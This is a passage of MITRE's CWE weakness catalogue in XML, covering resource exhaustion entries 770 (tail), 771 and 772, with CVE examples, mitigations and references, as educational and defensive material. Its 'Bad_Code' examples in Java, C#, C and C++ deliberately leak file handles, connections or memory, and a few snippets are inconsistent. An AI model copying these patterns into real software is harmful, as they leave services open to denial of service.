										                    <Code>Socket client = serverSocket.accept();</Code>
										                    <Code>Thread t = new Thread(new
											ClientSocketThread(client));</Code>
										                    <Code>t.setName(client.getInetAddress().getHostName() + ":"
											+ counter++);</Code>
										                    <Code>ExecutorService pool =
											Executors.newFixedThreadPool(MAX_CONNECTIONS);</Code>
										                    <Code>pool.execute(t);</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>serverSocket.close();</Code>
								                </Block>
								                <Code/>
								                <Code>} catch (IOException ex) {...}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>An unnamed web site allowed a user to purchase tickets for an event.
						A menu option allowed the user to purchase up to 10 tickets, but the back
						end did not restrict the actual number of tickets that could be
						purchased.</Intro_Text>
					          <Demonstrative_Example_References>
						            <Reference>
							              <Reference_Author>Rafal Los</Reference_Author>
							              <Reference_Title>Real-Life Example of a 'Business Logic Defect' (Screen
								Shots!)</Reference_Title>
							              <Reference_PubDate>2011</Reference_PubDate>
							              <Reference_Link>http://h30501.www3.hp.com/t5/Following-the-White-Rabbit-A/Real-Life-Example-of-a-Business-Logic-Defect-Screen-Shots/ba-p/22581</Reference_Link>
						            </Reference>
					          </Demonstrative_Example_References>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-4017</Observed_Example_Reference>
					          <Observed_Example_Description>Language interpreter does not restrict the number
						of temporary files being created when handling a MIME request with a large
						number of parts..</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2726</Observed_Example_Reference>
					          <Observed_Example_Description>Driver does not use a maximum width when invoking
						sscanf style functions, causing stack
						consumption.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2540</Observed_Example_Reference>
					          <Observed_Example_Description>Large integer value for a length property in an
						object causes a large amount of memory
						allocation.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-2054</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows exhaustion of file descriptors when
						processing a large number of TCP packets.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5180</Observed_Example_Reference>
					          <Observed_Example_Description>Communication product allows memory consumption
						with a large number of SIP requests, which cause many sessions to be
						created.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1700</Observed_Example_Reference>
					          <Observed_Example_Description>Product allows attackers to cause a denial of
						service via a large number of directives, each of which opens a separate
						window.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-4650</Observed_Example_Reference>
					          <Observed_Example_Description>CMS does not restrict the number of searches that
						can occur simultaneously, leading to resource
						exhaustion.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>Vulnerability theory is largely about how behaviors and resources
						interact. "Resource exhaustion" can be regarded as either a consequence or
						an attack, depending on the perspective. This entry is an attempt to reflect
						one of the underlying weaknesses that enable these attacks (or consequences)
						to take place.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <References>
				        <Reference>
					          <Reference_Author>Joao Antunes</Reference_Author>
					          <Reference_Author>Nuno Ferreira Neves</Reference_Author>
					          <Reference_Author>Paulo Verissimo</Reference_Author>
					          <Reference_Title>Detection and Prediction of Resource-Exhaustion
						Vulnerabilities</Reference_Title>
					          <Reference_Publication>Proceedings of the IEEE International Symposium on
						Software Reliability Engineering (ISSRE)</Reference_Publication>
					          <Reference_PubDate>November 2008</Reference_PubDate>
					          <Reference_Link>http://homepages.di.fc.ul.pt/~nuno/PAPERS/ISSRE08.pdf</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>D.J. Bernstein</Reference_Author>
					          <Reference_Title>Resource exhaustion</Reference_Title>
					          <Reference_Link>http://cr.yp.to/docs/resources.html</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Pascal Meunier</Reference_Author>
					          <Reference_Title>Resource exhaustion</Reference_Title>
					          <Reference_Publication>Secure Programming Educational
						Material</Reference_Publication>
					          <Reference_PubDate>2004</Reference_PubDate>
					          <Reference_Link>http://homes.cerias.purdue.edu/~pmeunier/secprog/sanitized/class1/6.resource%20exhaustion.ppt</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 17, "Protecting Against Denial of Service Attacks"
						Page 517</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference>
					          <Reference_Author>Frank Kim</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 22 - Allocation of Resources Without
						Limits or Throttling</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-23</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/23/top-25-series-rank-22-allocation-of-resources-without-limits-or-throttling/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 10, "Resource Limits", Page 574.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Close resources when they are no longer
						needed</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO04-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Avoid memory and resource leaks during
						serialization</Mapped_Node_Name>
					          <Mapped_Node_ID>SER12-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not exhaust heap space</Mapped_Node_Name>
					          <Mapped_Node_ID>MSC05-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not assume infinite heap space</Mapped_Node_Name>
					          <Mapped_Node_ID>MEM12-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure files are properly closed when they are no longer
						needed</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO42-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>119</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>121</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>125</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>130</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>147</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>197</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>227</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>228</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>229</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>469</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>82</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>99</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-05-13</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples,
						Detection_Factors, Observed_Examples, References,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Detection_Factors,
						Potential_Mitigations, References, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Detection_Factors,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References,
						Related_Attack_Patterns, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="771" Name="Missing Reference to Active Allocated Resource" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not properly maintain a reference to a
					resource that has been allocated, which prevents the resource from being
					reclaimed.</Description_Summary>
				        <Extended_Description>
					          <Text>This does not necessarily apply in languages or frameworks that
						automatically perform garbage collection, since the removal of all
						references may act as a signal that the resource is ready to be
						reclaimed.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>400</Relationship_Target_ID>
					          <!--Uncontrolled Resource Consumption ('Resource Exhaustion')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>"Resource exhaustion" (CWE-400) is currently treated as a weakness,
						although it is more like a category of weaknesses that all have the same
						type of consequence. While this entry treats CWE-400 as a parent in view
						1000, the relationship is probably more appropriately described as a
						chain.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When allocating resources without limits, an attacker could prevent
							all other processes from accessing the same type of resource.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-47">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Limit Resource Consumption</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use resource-limiting settings provided by the operating system or
							environment. For example, when managing system resources in POSIX,
							setrlimit() can be used to set limits for certain types of resources,
							and getrlimit() can determine how many resources are available. However,
							these functions are not available on all operating systems. </Text>
						            <Text>When the current levels get close to the maximum that is defined for
							the application (see CWE-770), then limit the allocation of further
							resources to privileged users; alternately, begin releasing resources
							for less-privileged users. While this mitigation may protect the system
							from attack, it will not necessarily stop attackers from adversely
							impacting other users. </Text>
						            <Text>Ensure that the application performs the appropriate error checks and
							error handling in case resources become unavailable (CWE-703). </Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>Vulnerability theory is largely about how behaviors and resources
						interact. "Resource exhaustion" can be regarded as either a consequence or
						an attack, depending on the perspective. This entry is an attempt to reflect
						one of the underlying weaknesses that enable these attacks (or consequences)
						to take place.</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submission_Date>2009-05-13</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="772" Name="Missing Release of Resource after Effective Lifetime" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not release a resource after its effective
					lifetime has ended, i.e., after the resource is no longer
					needed.</Description_Summary>
				        <Extended_Description>
					          <Text>When a resource is not released after use, it can allow attackers to cause
						a denial of service.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>404</Relationship_Target_ID>
					          <!--Improper Resource Shutdown or Release-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>400</Relationship_Target_ID>
					          <!--Uncontrolled Resource Consumption ('Resource Exhaustion')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>882</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 14 - Concurrency (CON)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>892</Relationship_Target_ID>
					          <!--SFP Cluster: Resource Management-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>"Resource exhaustion" (CWE-400) is currently treated as a weakness,
						although it is more like a category of weaknesses that all have the same
						type of consequence. While this entry treats CWE-400 as a parent in view
						1000, the relationship is probably more appropriately described as a
						chain.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>When allocating resources without limits, an attacker could prevent
							all other processes from accessing the same type of resource.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-3">
					          <Mitigation_Phase>Requirements</Mitigation_Phase>
					          <Mitigation_Strategy>Language Selection</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a language that does not allow this weakness to occur or provides
							constructs that make this weakness easier to avoid.</Text>
						            <Text>For example, languages such as Java, Ruby, and Lisp perform automatic
							garbage collection that releases memory for objects that have been
							deallocated.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>It is good practice to be responsible for freeing all resources you
							allocate and to be consistent with how and where you free resources in a
							function. If you allocate resources that you intend to free upon
							completion of the function, you must be sure to free the resources at
							all exit points for that function including error conditions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-47">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Limit Resource Consumption</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use resource-limiting settings provided by the operating system or
							environment. For example, when managing system resources in POSIX,
							setrlimit() can be used to set limits for certain types of resources,
							and getrlimit() can determine how many resources are available. However,
							these functions are not available on all operating systems. </Text>
						            <Text>When the current levels get close to the maximum that is defined for
							the application (see CWE-770), then limit the allocation of further
							resources to privileged users; alternately, begin releasing resources
							for less-privileged users. While this mitigation may protect the system
							from attack, it will not necessarily stop attackers from adversely
							impacting other users. </Text>
						            <Text>Ensure that the application performs the appropriate error checks and
							error handling in case resources become unavailable (CWE-703). </Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code attempts to process a file by reading it in line
						by line until the end has been reached.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private void processFile(string fName)</Code>
							              <Code>{</Code>
							              <Block>
								                <Code>BufferReader in = new BufferReader(new
									FileReader(fName));</Code>
								                <Code>String line;</Code>
								                <Code>while ((line = in.ReadLine()) != null)</Code>
								                <Code>{</Code>
								                <Block>
									                  <Code>processLine(line);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The problem with the above code is that it never closes the file
							handle it opens. The Finalize() method for BufferReader eventually calls
							Close(), but there is no guarantee as to how long it will take before
							the Finalize() method is invoked. In fact, there is no guarantee that
							Finalize() will ever be invoked. In a busy environment, this can result
							in the VM using up all of its available file handles. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code attempts to open a new connection to a database,
						process the results returned by the database, and close the allocated
						SqlConnection object.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>SqlConnection conn = new SqlConnection(connString);</Code>
							              <Code>SqlCommand cmd = new SqlCommand(queryString);</Code>
							              <Code>cmd.Connection = conn;</Code>
							              <Code>conn.Open();</Code>
							              <Code>SqlDataReader rdr = cmd.ExecuteReader();</Code>
							              <Code>HarvestResults(rdr);</Code>
							              <Code>conn.Connection.Close();</Code>
						            </Block>
						            <Text>The problem with the above code is that if an exception occurs while
							executing the SQL or processing the results, the SqlConnection object is
							not closed. If this happens often enough, the database will run out of
							available cursors and not be able to execute any more SQL queries.
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-81">
					          <Intro_Text>The following method never closes the file handle it opens. The
						Finalize() method for StreamReader eventually calls Close(), but there is no
						guarantee as to how long it will take before the Finalize() method is
						invoked. In fact, there is no guarantee that Finalize() will ever be
						invoked. In a busy environment, this can result in the VM using up all of
						its available file handles.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>private void processFile(string fName) {</Code>
							              <Block>
								                <Code>StreamWriter sw = new</Code>
								                <Code>StreamWriter(fName);</Code>
								                <Code>string line;</Code>
								                <Code>while ((line = sr.ReadLine()) != null)</Code>
								                <Block>
									                  <Code>processLine(line);</Code>
								                </Block>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-82">
					          <Intro_Text>If an exception occurs after establishing the database connection
						and before the same connection closes, the pool of database connections may
						become exhausted. If the number of available connections is exceeded, other
						users cannot access this resource, effectively denying access to the
						application. Using the following database connection pattern will ensure
						that all opened connections are closed. The con.close() call should be the
						first executable statement in the finally block.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>try {</Code>
							              <Block>
								                <Code>Connection con =
									DriverManager.getConnection(some_connection_string)</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>catch ( Exception e ) {</Code>
							              <Block>
								                <Code>log( e )</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>finally {</Code>
							              <Block>
								                <Code/>
								                <Code>con.close()</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-83">
					          <Intro_Text>Under normal conditions the following C# code executes a database
						query, processes the results returned by the database, and closes the
						allocated SqlConnection object. But if an exception occurs while executing
						the SQL or processing the results, the SqlConnection object is not closed.
						If this happens often enough, the database will run out of available cursors
						and not be able to execute any more SQL queries.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C#</Code_Example_Language>
							              <Code>...</Code>
							              <Code>SqlConnection conn = new SqlConnection(connString);</Code>
							              <Code>SqlCommand cmd = new SqlCommand(queryString);</Code>
							              <Code>cmd.Connection = conn;</Code>
							              <Code>conn.Open();</Code>
							              <Code>SqlDataReader rdr = cmd.ExecuteReader();</Code>
							              <Code>HarvestResults(rdr);</Code>
							              <Code>conn.Connection.Close();</Code>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-84">
					          <Intro_Text>The following C function does not close the file handle it opens if
						an error occurs. If the process is long-lived, the process can run out of
						file handles.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int decodeFile(char* fName) {</Code>
							              <Block>
								                <Code>char buf[BUF_SZ];</Code>
								                <Code>FILE* f = fopen(fName, "r");</Code>
								                <Code>if (!f) {</Code>
								                <Block>
									                  <Code>printf("cannot open %s\n", fName);</Code>
									                  <Code>return DECODE_FAIL;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>else {</Code>
								                <Block>
									                  <Code>while (fgets(buf, BUF_SZ, f)) {</Code>
									                  <Block>
										                    <Code>if (!checkChecksum(buf)) {</Code>
										                    <Block>
											                      <Code>return DECODE_FAIL;</Code>
										                    </Block>
										                    <Code>}</Code>
										                    <Code>else {</Code>
										                    <Block>
											                      <Code>decodeBlock(buf);</Code>
										                    </Block>
										                    <Code>}</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>fclose(f);</Code>
								                <Code>return DECODE_SUCCESS;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-85">
					          <Intro_Text>In this example, the program does not use matching functions such as
						malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the
						resource.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>class A {</Code>
							              <Block>
								                <Code>void foo();</Code>
							              </Block>
							              <Code>};</Code>
							              <Code>void A::foo(){</Code>
							              <Block>
								                <Code>int *ptr;</Code>
								                <Code>ptr = (int*)malloc(sizeof(int));</Code>
								                <Code>delete ptr;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
